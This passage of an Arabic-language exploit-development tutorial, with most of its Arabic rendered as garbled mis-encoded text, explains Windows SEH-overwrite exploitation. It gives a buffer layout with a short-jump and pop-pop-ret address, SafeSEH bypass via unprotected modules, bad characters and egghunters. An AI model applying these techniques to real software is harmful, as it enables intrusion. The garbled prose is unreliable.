 ف١زُ Pointer ٠ؼّٓ ٌٕب الأمبي اٌٝ رٕف١ز ايSEHف١غت اْ ٔؾذس وشاػ فٟ اي. الاطSEHٍٟاٌّزغجت ثزٕف١ز اي

 .رٕف١ز اٌشً وٛد

ؽ١ش رمَٛ ٘زٖ اٌزؼ١ٍّخ ثؼًّ خًٍ .Pop pop ret ٠غت ػ١ٍٕب اْ ٔؼٛػٗ ثزؼ١ٍّخ  SEHٌىٟ ٔؾذس خًٍ فٟ اي

 . ١ٌزُ رٕف١زEIPٖ اٌٝ ِغغً ايpointerفٟ اٌزطج١ك ٚٔمً ػٕٛاْ اي

 SE Handler ِٚٓ صُ ١ٍ٠ٗ ِجبششاً ػٕٛاْ ايPointerػٕذ ؽذٚس اٌطفؼ فٟ اٌجشٔبِظ ٠زُ اٚلًا رغ١١ش ػٕٛاْ اي

 صُ handler فٟ ايpop-pop-ret ٚصُ رؼ١ٍّخ ايPointerفٍٙزا ٠غت اٚلًا اْ ٔؼغ لفضح طغ١شح فٟ اي

 . صُ اٌشً وٛد فٟ الاعزغلاي الاػز١بدٞNops(No Operation)ِغّٛػخ ِٓ اي

 .ٚعٛف ٔزطشق ٌٙزا اٌشٟء ف١ّب ثؼذ,٠ّىٓ اْ ٠غجك اٌشً وٛد اٌؼٕب٠ٚٓ اٌّزغ١شح فٟ ثؼغ اٌؾبلاد

 

فٟ ؽبٌزٟ ٠زغ١ش . ثٕفظ اٌطش٠مخ اٌّزجؼخ فٟ اٌّضبي الاٚيPointerالاْ ٠غت ِؼشفخ اٌؼٕٛاْ اٌزٞ ٠زغ١ش ػٕذٖ اي

 . ثب٠ذ1386ثؼذ 

 :ف١ىْٛ الاعزغلاي الافزشاػٟ وبٌزبٌٟ

“A” X 1386+Pointer To Next SEH+SE Handler+Nops+Shellcode 

 ٌؼّبْ رٕف١ز اٌشً Nops ٔؼغ لفضح طغ١شح رؤدٞ اٌٝ اٌشً وٛد اٚ اٌٝ اؽذ ايPointerفٟ ػٕٛاْ اي

ٌٛعٛد .اٚ اٌشً وٛد Nops اٌزأوذ ثّمذاس اٌمفضح اٌزٟ رؤدٞ اٌٝ اؽذ اي٠ٚSEH Overwriteغت فٟ ؽبٌخ اي,وٛد

 . ثب٠زبد اٚ اوضش6ف١غت ػٍٝ الالً اْ رىْٛ اٌمفضح ي.Nops ٚايSE Handlerثؼغ اٌجب٠زبد ث١ٓ اي



 ٘ٛ ٌٍّٝء ِىبْ اٌؼٕٛاْ 90 ٌٍمفضح ٚايxeb\x06\x90\x90"( eb 06"\ ثب٠زبد ٔؼغ اٌزؼ١ٍّخ 6فبٌٍمفض 

 ٕٚ٘ب رىّٓ Pop-pop-retًٌ SE Handler ٔجؾش ػٓ رؼ١ٍّخ Pointerثؼذ اْ ٔؼغ ػٕٛاْ اي.(لاسثؼخ ثب٠زبد

 فؼٕذ ػ١ٍّخ رشعّخ اٌزطج١مبد اٚ اٌّىزجبد فٟ SafeSEHفٕٙبن ١ِىب١ٔى١خ ٌٍؾّب٠خ رغّٝ ثبي. طؼٛثخ الاعزغلاي

 غ١ش اػز١بدٞ ٠ؤدٞ اٌٝ اعزغلاي غ١ش SEHرمَٛ ٘زٖ ا١ٌّىب١ٔى١خ ثبٌؾ١ٛي دْٚ اِىب١ٔخ اعزخذاَ . اٌّزشعّبد

 .ِشغٛة ثٗ

ٚاغٍت اٌّىزجبد اٌزٟ رأرٟ ثذْٚ ٘زا ,SafeSEHف١غت اْ ٔجؾش ػٓ ِىزجخ اٚ رطج١ك ٌٓ ٠زُ رشعّزٗ ثخ١بس اي

اٚ ثؼغ اٌّٛد٠لاد .ؽ١ش ٠ّىٓ اعزؼّبي ػٕب٠ُٕٚٙ فمط.اٌخ١بس ٟ٘ اٌزٟ رأرٟ ِغ اٌزطج١ك اٚ اٌزطج١ك ٔفغٗ

 .الاػبف١خ اٌزٟ رؼًّ ِغ اٌجشاِظ اٌزٟ رؾزبعٙب

 رغّٝ Ollydbgٌّؼشفخ اٌّىزجبد ٚاٌزطج١مبد اٌزٟ ٠ّىٓ اخز ػٕٛاْ اٌزؼ١ٍّخ ِٕٙب ٔغزخذَ اػبفخ ٌجشٔبِظ 

OllySafeSEHرمَٛ ثبػطبء اٌّىزجبد ِٚغبسارٙب ِٚؼٍِٛخ ػٓ ؽبٌخ اي SafeSEHف١ٙب . 

 Plugins>Scan /SafeSEH Modulesثؼذ رٕظ١ت ٘زٖ الاػبفخ ٚرؾ١ًّ اٌجشٔبِظ ٚرشغ١ٍٗ ٔز٘ت اٌٝ 

 

 ِؼطً ٠ّٚىٓ اعزخشاط  SafeSEHِضٍّب ٔشٜ فبٌّٛد٠لاد اٌّؤششح فٟ اٌٍْٛ الاؽّش ٟ٘ اٌزٟ ٠ىْٛ ف١ٙب 

 اٌؼٕب٠ٚٓ ِٕٙب

 ٚاٌزٞ ٠ّىٓ ِٓ خلاٌٗ Findjmp2ٔغزخشط اٌؼٕٛاْ ِٓ اٞ ِٛد٠ً ٠ظٙش فٟ اٌٍْٛ الاؽّش ثبعزخذاَ اي

 pop-pop-retاعزخشاط رؼ١ٍّبد اي

 اراً ٠ّىٕٕب system32 ٚثّب أٗ ٠ٛعذ فٟ ِغٍذ ايmsacm32.drvٔمَٛ الاْ ثأعزخشاط اٌزؼ١ٍّخ ِٓ اٌّٛد٠ً 

 : ثذْٚ رؾذ٠ذ ِغبسٖ ٠ٚزُ ثٙزا الاِشfindjmpوزبثزٗ فٛساً فٟ اي

Findjmp2 msacm32.drv REG 

 ٌٕٚفشع pop-pop-ret رّضً اٞ ِغغً ِٓ اٌّغغلاد اٌّذػِٛخ ٚاٌزٟ رؾزٛٞ ػٍٝ رؼ١ٍّخ ايREGؽ١ش 

 :eaxثبٕٔب اعزؼٍّٕب ِغغً اي



 

 

  لجً وً ثب٠زxٓ١\ ثؼىغٗ ٚثبػبفخ little  Endian ٔؾٌٛٗ ٌظ١غخ اي0x72D12956ٔأخز اؽذ اٌؼٕب٠ٚٓ ِضلًا 

 ”x56\x29\xD1\x72\”:١ٌظجؼ

 :الاْ ٌذ٠ٕب اٌزبٌٟ

“A” X 1386 +  “\xeb\x06\x90\x90"[Pointer To Next SHE] + ”\x56\x29\xD1\x72”*SE 

Handler] + Nops + Shellcode 

 

:ٚ٘زا ٘ٛ الاعزغلاي إٌٙبئٟ ٌٍضغشح  

http://www.exploit-db.com/exploits/10320 
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Most Common Exploitation Issues 

 

Restricted Characters 

عٛاء فٟ اٌشً وٛد اٚ فٟ .ٕ٘بن ثؼغ اٌشِٛص اٌزٟ ٠غت رغٕت اؽزٛاء الاعزغلاي ػ١ٍٙب.فٟ ثؼغ الاعزغلالاد

 :وّضبي ثغ١ط ٌٕفشع ٌذ٠ٕب ثشٔبِظ ٠أخز ل١ّخ ِٓ ٍِف رىْٛ ثٙزا اٌشىً.اٌؼٕب٠ٚٓ اٌّغزخذِخ فٟ الاعزغلاي

File=”AAAA…..” 

فبٔٗ ٠غت رغٕت اعزخذاَ ثب٠ذ ػلاِخ اٌزٕظ١ض ٚاٌزٞ وٛدٖ ,اٞ اْ ثب٠زبد اٌطفؼ رٛػغ ث١ٓ ػلاِزٟ اٌزٕظ١ض

 :فٟ الاعزغلاي ٌىٟ لا ٠ظجؼ ٘ىزا  (”x00\”ٚثشىً ِؤوذ اٌجب٠ذ)”x22\”فٟ ا١ٌٙىظ

File=”AAAA…AA”…AAAA….” 

 ثبعزخذاَ ِؾشساد إٌظٛص Binaryا٠ؼبً ٠غت رغٕت رؼذ٠ً ثؼغ اٌٍّفبد اٌجب٠ٕشٞ.فلا ٠ّىٓ الاعزغلاي

 .Notepad++,Ultra-Edit…etc ٚاعزؼّبي ِؾشساد ٔظٛص ِزمذِخ ِضً  Notepadالاػز١بد٠خ ِضً اي 

ٕٚ٘بن ا٠ؼبً ثؼغ اٌجشاِظ اٌزٟ رمَٛ ثؼًّ رؾ٠ًٛ ٌجؼغ اٌجب٠زبد ٠غت ِؼشفزٙب ٚا٠ؼبً رغٕت اعزؼّبٌٙب 

 .ٚاعزؼّبي ِشادف ٌٙب

 

Egghunter 

رزٍخض ٘زٖ اٌطش٠مخ ثزى٠ٛٓ شً وٛد طغ١ش ٠مَٛ ثؼ١ٍّخ ثؾش فٟ اٌزاوشح ػٓ ِغّٛػخ ثب٠زبد ٚػٕذ ِطبثمزٙب 

فؼٕذ اٌزؼشف ػ١ٍٙب .٘زٖ اٌّغّٛػخ ِٓ اٌجب٠زبد ٠غت اْ رىْٛ ١ِّضح ػٓ ثم١خ اٌجب٠زبد فٟ اٌزاوشح.٠ٕفز ِب ثؼذ٘ب

 .nopsػٍٝ افزشاع اْ ِب ثؼذ٘ب شً وٛد اٚ .٠زُ اٌمفض فٛلٙب ٚرٕف١ز ِب ثؼذ٘ب

 ثب٠زبد ِٕٙب ٟ٘ اٌزٟ رزُ اٌّمبسٔخ ثٙب 8. ثب٠ذ32 ٠ىْٛ ؽغّٗ Skype٘زا اٌشً وٛد ٚاٌزٞ رُ وزبثزٗ ثٛاعطخ

 .ٌىٟ لا ٠ؾظً رشبثٗ ث١ٕٙب ٚث١ٓ ثب٠زبد ِٛعٛدح فٟ اٌزاوشح. ثب٠زبد ِزشبثٙخ4ٚاٌزٟ رىْٛ ف١ٙب وً 

 :Egghunterٌلاطلاع ػٍٝ وٛد اي

http://www.hick.org/~mmiller/shellcode/win32/egghunt_syscall.c 

 

اٚ .رغزؼًّ ٘زٖ اٌطش٠مخ ػٕذِب رىْٛ اٌّغبؽخ اٌزٟ ٠ّىٓ رٕف١ز٘ب طغ١شح عذاً لا ٠ّىٓ ٚػغ شً وٛد ِف١ذ ٌٕب ثٙب

اٚ ػٕذ ؽظٛي رخش٠ت ٌجؼغ ثب٠زبد اٌشً وٛد ثؼذ ػٕٛاْ .ػٕذِب رىْٛ اٌّغبؽخ لجً اٌىشاػ اوجش ِٓ اٌزٟ ثؼذٖ

 .فٙزٖ اٌطش٠مخ عٛف رؾً اٌىض١ش ِٓ اٌّشبوً اٌزٟ ِٓ اٌّّىٓ اْ رٛاعٗ اٌّغزغً. اٌؼٛدح

ف١غت اٌجؾش ػٕٙب ػٕذ .ٕ٘بن ثؼغ اٌزم١ٕبد إٌّزششح ٚاٌزٟ رؾً ا٠ؼبً ثؼغ اٌّشبوً فٟ ثؼغ اٌضغشاد

 .اٌؾبعخ ػٕٙب ٚالاعزفبدح ِٕٙب فٟ الاعزغلالاد اٌّزمذِخ

لذ رؤدٞ اٌٝ لفضح ِٓ ٔٛع .ٕٚ٘بن ثؼغ اٌضغشاد اٌزٟ لذ رؾزبط اٌٝ رم١ٕخ خبطخ ثٙب ٠مَٛ اٌّغزغً ثجشِغزٙب

 .فبٌخجشح فٟ الاعغّجٍٟ ِطٍٛثخ ثشىً ػشٚسٞ. خبص اٚ طش٠مخ رٕف١ز اٌخ

 

http://www.hick.org/~mmiller/shellcode/win32/egghunt_syscall.c


 الخاتمة

٠غت ػ١ٍٗ اْ لا ٠ؼزّذ .فّٓ ٠ش٠ذ اْ ٠ضبثش ػٍٝ طش٠ك ِب.ٌىٓ ٌٓ رٕزٟٙ ِؼٗ سؽٍخ اٌّؼشفخ,اٌٝ ٕ٘ب ٠ززٟٙ اٌىزبة

ٚٔظ١ؾزٟ ا١ٌىُ اْ لا رزٛلفٛا ػٓ اٌجؾش ٚلا رغئٍٛا الا ارا .٠زؼت ١ٌغٕٟ فٟ الاخش ِب ٠ٕشذ ا١ٌٗ.عٜٛ ػٍٝ ٔفغٗ

 .ٌُ رغذٚ ِشادوُ فٟ اٌجؾش

ٌىٕٟ ارّٕٝ اْ رىْٛ .لا ادسٞ ارا وٕذ عأطشػ اطذاساد اخشٜ اٚ لا.٘زٖ ٟ٘ الاطذاسح الاٌٚٝ ِٓ ٘زا اٌىزبة

صّٓ ٘زا اٌىزبة ٘ٛ اٌذػبء ٌٛاٌذٞ ٌٟٚ ٚثؼذ٘ب اْ رضبثشٚا .٘زٖ الاطذاسح لذ ِغؾذ شٟء ِٓ اٌغّٛع ٌٍجؼغ

ٚأظؾىُ ثمشاءح اٌىزت الأى١ٍض٠خ ثٙزا اٌخظٛص ِّٙب وبٔذ لذ٠ّخ فف١ٙب ِٓ اٌشٟء .ٚلا رزٛلفٛا اثذا.ػٍٝ اٌؼٍُ

 .اٌّف١ذ ِب ٠ٕفغ

 

 .اعزؼّبي اٞ شٟء ِٓ ٘زا اٌىزبة ثذْٚ ارْ شخظٟ ِٓ اٌىبرت الاطٍٟ/ٔمً/ٔغخ/٠ّٕغ ٔشش
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